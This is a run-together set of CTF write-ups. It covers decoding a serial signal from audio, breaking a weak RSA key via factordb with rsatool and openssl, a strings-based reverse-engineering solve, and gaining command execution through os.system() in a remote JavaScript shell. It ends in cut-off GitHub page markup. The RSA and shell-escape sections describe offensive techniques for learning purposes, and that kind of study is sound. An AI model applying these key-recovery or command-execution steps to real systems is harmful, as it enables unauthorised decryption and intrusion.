0.928575 | -20836 2068>>> 1 1050: 0.955512 | -20836 2068>>> 1 1428: 0.972015 | -20836 2068>>> 1 1511: 0.975639 | -20836 2068>>> 1 1249: 0.964200 | -20836 2068>>> 1 618: 0.936651 | -20836 2068>>> 1 -364: 0.893779 | -20836 2068>>> 1 -1682: 0.836237 | -20836 2068>>> 1 -3271: 0.766863 | -20836 2068>>> 1 -5073: 0.688190 | -20836 2068>>> 1 -6989: 0.604540 | -20836 2068 -8959: 0.518533 | -20836 2068-10871: 0.435058 | -20836 2068-12668: 0.356603 | -20836 2068-14275: 0.286444 | -20836 2068>>> 0-15647: 0.226544 | -20836 2068>>> 0-16748: 0.178476 | -20836 2068>>> 0-17581: 0.142109 | -20836 2068>>> 0-18130: 0.118140 | -20836 2068>>> 0-18449: 0.104213 | -20836 2068>>> 0-18540: 0.100240 | -20836 2068>>> 0-18478: 0.102947 | -20836 2068>>> 0-18291: 0.111111 | -20836 2068>>> 0-18040: 0.122069 | -20836 2068>>> 0``` From here I disregarded the actual raw values, and just looked at the 0sand 1s I'd bucketed them into. From looking at the wav in audacity Icould see that each bit was a certain duration of low/high, and multiple0s or 1s in a row were a longer duration of low/high. So, I counted thenumber of consecutive 0s or 1s: ```python# this comes in handy laterdef print_counter(counter): print counter for cur in raw_bytes: # update bounds if cur < c_min: c_min = cur if cur > c_max: c_max = cur if started: # disregard the non-useful section at the start counter += 1 pos = (cur-c_min)/float(c_max+1 - c_min) # avoid div by 0 if pos > 0.65: # we're in an upswing if cur_val == 0: # swapping print_counter(counter) counter = 0 cur_val = 1 elif pos < 0.35: # downswing if cur_val == 1: # swapping print_counter(counter) counter = 0 cur_val = 0 else: if cur < -5000: # we hit the first drop started = True counter = 0``` Sample output: ```7844352861154434461188376124368435863586453645358475857844354411512511820236843645``` There was a pretty clear pattern here: the length of a run ofconsecutive bits was roughly a multiple of 40. So, I converted these to how many multiples of 40 they were, andappended that many zeroes or ones to my stream of bits. ```pythondef print_counter(counter, numbers, cur): # print counter num_multiples = (counter+20)/40 for p in xrange(num_multiples): numbers.append(str(1-cur)) # flopped bits``` ### Decoding the 0s and 1s Now that we have the raw stream of bits, it's time to try decoding it.At first glance there wasn't anything obvious; I did some reading on howserial communication and common serial protocols work, and discoveredthat a serial stream probably has start/stop bits (and possibly alsoparity bits).\\So, I set out looking for patterns: did the same value occur every nbits? ```pythoncur_val = -1for interval in xrange(1,20): for start in xrange(80): failed = False for upto in xrange(start, len(numbers), interval): print upto if cur_val == -1: cur_val = int(numbers[upto]) continue if int(numbers[upto]) != cur_val: print "%d doesn't match %d (counter %d, interval %d, start %d)" % (int(numbers[upto]), cur_val, upto, interval, start) failed = True break if failed == False: print ">>>>>>>>>>>>>>> success!!! cur_val %d, count %d, int %d, start %d)" % (cur_val, upto, interval, start) cur_val = -1``` ```>>>>>>>>>>>>>>> success!!!val 0, count 12364, int 11, start 0)>>>>>>>>>>>>>>> success!!!val 0, count 12365, int 11, start 1)>>>>>>>>>>>>>>> success!!!val 1, count 12366, int 11, start 2) >>>>>>>>>>>>>>> success!!!val 0, count 12364, int 11, start 11)>>>>>>>>>>>>>>> success!!!val 0, count 12365, int 11, start 12)>>>>>>>>>>>>>>> success!!!val 1, count 12366, int 11, start 13) >>>>>>>>>>>>>>> success!!!val 0, count 12364, int 11, start 22)>>>>>>>>>>>>>>> success!!!val 0, count 12365, int 11, start 23)>>>>>>>>>>>>>>> success!!!val 1, count 12366, int 11, start 24)``` Cool, we can see that every 11 bits, we have the pattern 001. eg:`001XXXXXXXX001XXXXXXXX001`. Conveniently, 11 bits - 3 recurring bits = 8bits = 1 byte of data = (y) ### Writing the raw bytes to a file Time to write the raw bytes out to a file, and see if it looks at allmeaningful. ```pythonbyte_length = 11 ignore = 3 with open(files[0], 'wb') as filename: filename.write(''.join(chr(int(''.join(numbers[ byte_length*k:byte_length*k+byte_length][ignore:][::-1]) , 2)) for k in xrange(len(numbers)/byte_length)))``` That's a particularly messy blob of python, so, breaking it down: * take our list of binary bits, in blocks of 11 bits at a time * ignore the first three of those bits, and join the remaining 8together * reverse those 8 bits, because the bits are received in the oppositeorder * convert to an integer number, and then convert that to a character * do that for all of the bits, then glue all of those characterstogether, and write them to a file Time to see if there's anything useful in the file. run it through`strings`, and `less` the output: there's a whole bunch of randomdata, then eventually..... ![](https://raw.githubusercontent.com/andrewjbennett/ctf-writeups/master/2017/easyctf/media/image02.png) *Figure 3: found the flag!* By the way:----------- This is just the story of the things I did that **actually worked**. Ispent a lot of time trying a lot of things that didn't work in theprocess: * not finding the start/stop bits and staring into the void having noidea how to progress * not reversing the endianness of the bits * inverting the bits so low is 1 and high is 0 * trying really really hard to find meaning in anything there * failing very hard at decoding the binary by hand (everything lookslike a binary-ascii 'e' when you're desperate) * trying to decode it using some sort of automated tool (and failing --but hey it's 9600 baud, 1 start bit, no parity bits, 2 stop bits, so atleast I learned how to work that out and what that means) In the end, I solved it by taking all combinations of `low=0 high=1` vs`low=1 high=0` and `the order of the bits is least significant to mostsignificant` vs `most significant to least significant`, running all ofthose through strings, piping all of that into less, and dramaticallyscrolling through it looking for anything of significance. (I didn't just `strings | grep 'easyctf'`, because that had failed beforeand I wasn't expecting to find a flag, just hoping to find out some moreinformation on anything at all that might help me progress.) Encore: solving the hint------------------------ And now for the encore: there was a hint given for this challenge:`1671272170308973364559718095536342710762555701423308167532544584`. I spent a lot of time staring at it in frustration trying to work outwhat it could possibly mean. They weren't ascii characters. There was noobvious way to break it up into smaller numbers. Hm, but the binaryversion looked interesting... `1000001000000001001000001001000000001000001000001001001000000001000000001001000001000000001000001001000000000000001000001001000001001000000000000001000001001001000000000001000001001001000000000001000001001001000` Look at how wide the 'gaps' are between each of the 1s. Looking at thepattern.... ``` 5 8 2 5 2 8 5 5 2 2 8 8 2 5 8 5 21000001000000001001000001001000000001000001000001001001000000001000000001001000001000000001000001001 14 5 2 5 2 14 5 2 2 11 5 2 2 11 5(1)000000000000001000001001000001001000000000000001000001001001000000000001000001001001000000000001000001 2 2 3(1)001001000``` There seemed to be some type of pattern going on here, and a friendcommented that they stood out as numbers that occured in the value of1/7 (== 0.142857142...). This led to messing around with other bases,and discovering that if you converted it to octal..... `10100110110010101110010011010010110000101101100001011100010111000101110` Would you look at that -- it's a binary string. And, would you look atthat... do I sense some ASCII? Converting it to hex makes it a lot clearer: `0x53657269616c2e2e2e.`(*sidenote: if you can't convert hexadecimal values to their ASCIIequivalent in your head, I highly recommend learning: in the very least,if you can look at a hex (or binary) string and go "huh those areprintable ASCII values" it can speed things up a lot in CTFs. (also in"cyber-crime" themed escape rooms.)*) ```python>>> for thing in [0x53, 0x65, 0x72, 0x69, 0x61, 0x6c, 0x2e, 0x2e, 0x2e]:... print chr(thing),S e r i a l . . .``` ...... yep, I think they're trolling us a bit with that hint.
**RSA 2 - Crypto - 350** Enoncé : ```Can you decrypt these ciphertexts ?```[Sources](src/) __Résolution :__ On récupère les informations contenues dans la clé publique : ```BASHopenssl rsa -in pubkey.pem -pubin -text -modulus``````Public-Key: (7470 bit)Modulus: 3f:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff: ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:[...] 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00: 00:00:00:01Exponent: 65537 (0x10001)Modulus=3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF[...]0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001-----BEGIN PUBLIC KEY-----MIIDxzANBgkqhkiG9w0BAQEFAAOCA7QAMIIDrwKCA6Y/////////////////////////////////////////////////////////////////////////////////////[...]AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAgMBAAE=-----END PUBLIC KEY-----``` On passe le modulo de hexa à int :```sage : n=int("mon_modulo_en_hexa",16)``` La longueur du modulo est trop élevé pour être factorisé directement On va voir si il a déjà été factorisé sur [factordb](http://factordb.com/) => full factorized : on a les deux facteurs p & q On recréé les clé publique avec rsatool :```BASHpython rsatool.py -p mon_p -q mon_q -f PEM -o privkey.pem``` On déchiffre : ```BASHopenssl rsautl -decrypt -inkey privkey.pem -in cipher.txt``` YUBITSEC{G00D_J0B_BRO_Y0U_MUST_KN0W_H0W_D03S_1T_W0RKS} By team Beers4Flags ``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~```
## YubitSec CTF - Gifted - RE### Problem [Gifted](https://github.com/kipyegonmark/ctfs/blob/master/YubitSec-2017/Gifted/gifted) ### Solution Strings gifted | grep YUBITSEC FLAG: __YUBITSEC{MEH_IT_IS_SOMETHING}__
# monkey - exploitation > nc 202.112.51.248 2333>> http://ftp.mozilla.org/pub/firefox/nightly/2016/07/2016-07-31-03-02-03-mozilla-central/jsshell-linux-x86_64.zip So, we got a link to a Javascript shell - straight from Mozilla's servers. Atfirst I thought we had to use an exploit that was later fixed, since thelinked build is almost a year old. But after looking through the changelog andfinding nothing interesting, I started exploring what capabilites are builtinto the shell. The [list of built in functions](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Introduction_to_the_JavaScript_shell)seemed pretty unhelpful apart from the `read()` function, but without some wayto navigate the file system I was stuck. Spent some time looking around the[shell source code](https://dxr.mozilla.org/mozilla-central/source/js/src/shell/js.cpp)until I searched globally for `JSFunctionSpecWithHelp` to find other functionsthat might possibly help, and saw that there was a separate `os` namespace,which also included `os.system()`! Not sure if this was the intended way to solve the challenge, but with fullaccess to shell commands it was easy to locate and grab the flag.
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>inshack-2017/challenges/programming/maurincoin-200 at master · HugoDelval/inshack-2017 · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="BD00:C14D:2CCCF19:2DD882A:6412285B" data-pjax-transient="true"/><meta name="html-safe-nonce" content="f919245a84827cc9bdd790cdef374444cdc773dd2e11cafd89a9dc06fc914084" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCRDAwOkMxNEQ6MkNDQ0YxOToyREQ4ODJBOjY0MTIyODVCIiwidmlzaXRvcl9pZCI6IjcxNTYwNjMxNTkyMjg0NDI3MTUiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="250e898cb9db7451eb4989836b70aa28915ea5ac553097f03ca20333149bac11" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:83088123" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Challenges for INShAck. Contribute to HugoDelval/inshack-2017 development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/8c8947ebe5eb7d90c79ba8431030efb25a490d55067f06d3240bda96d166dae2/HugoDelval/inshack-2017" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="inshack-2017/challenges/programming/maurincoin-200 at master · HugoDelval/inshack-2017" /><meta name="twitter:description" content="Challenges for INShAck. Contribute to HugoDelval/inshack-2017 development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/8c8947ebe5eb7d90c79ba8431030efb25a490d55067f06d3240bda96d166dae2/HugoDelval/inshack-2017" /><meta property="og:image:alt" content="Challenges for INShAck. Contribute to HugoDelval/inshack-2017 development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="inshack-2017/challenges/programming/maurincoin-200 at master · HugoDelval/inshack-2017" /><meta property="og:url" content="https://github.com/HugoDelval/inshack-2017" /><meta property="og:description" content="Challenges for INShAck. Contribute to HugoDelval/inshack-2017 development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/HugoDelval/inshack-2017 git https://github.com/HugoDelval/inshack-2017.git"> <meta name="octolytics-dimension-user_id" content="9109308" /><meta name="octolytics-dimension-user_login" content="HugoDelval" /><meta name="octolytics-dimension-repository_id" content="83088123" /><meta name="octolytics-dimension-repository_nwo" content="HugoDelval/inshack-2017" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="83088123" /><meta name="octolytics-dimension-repository_network_root_nwo" content="HugoDelval/inshack-2017" /> <link rel="canonical" href="https://github.com/HugoDelval/inshack-2017/tree/master/challenges/programming/maurincoin-200" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 